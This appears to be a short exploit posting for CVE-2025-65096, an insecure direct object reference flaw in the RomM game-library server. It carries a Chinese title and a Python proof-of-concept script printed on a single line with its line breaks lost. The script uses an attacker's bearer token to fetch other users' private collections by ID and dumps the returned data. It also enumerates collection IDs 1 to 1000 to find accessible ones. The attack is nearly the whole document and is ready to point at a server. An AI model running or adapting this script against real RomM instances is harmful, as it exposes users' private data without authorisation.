CVE-2025-65096 RomM越权访问漏洞

import requests import json # CVE-2025-65096 PoC - RomM IDOR Vulnerability # Target: RomM < 4.4.1 and 4.4.1-beta.2 TARGET_URL = "http://target-romm-server.com" ATTACKER_TOKEN = "attacker_bearer_token_here" TARGET_COLLECTION_ID = 12345 # Enumerate or guess target collection ID def exploit_idor(): headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Access target user's private collection endpoint = f"{TARGET_URL}/api/collections/{TARGET_COLLECTION_ID}" try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Successfully accessed collection {TARGET_COLLECTION_ID}") print(f"[+] Collection data: {json.dumps(data, indent=2)}") return True elif response.status_code == 401: print("[-] Authentication failed") elif response.status_code == 403: print("[-] Access denied - collection is private") else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def enumerate_collections(start_id=1, end_id=1000): """Enumerate collection IDs to find private collections""" found_collections = [] for collection_id in range(start_id, end_id + 1): endpoint = f"{TARGET_URL}/api/collections/{collection_id}" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}"} try: response = requests.get(endpoint, headers=headers, timeout=5) if response.status_code == 200: found_collections.append({ "id": collection_id, "data": response.json() }) print(f"[+] Found accessible collection ID: {collection_id}") except: continue return found_collections if __name__ == "__main__": print("CVE-2025-65096 PoC - RomM IDOR") print("=" * 50) exploit_idor()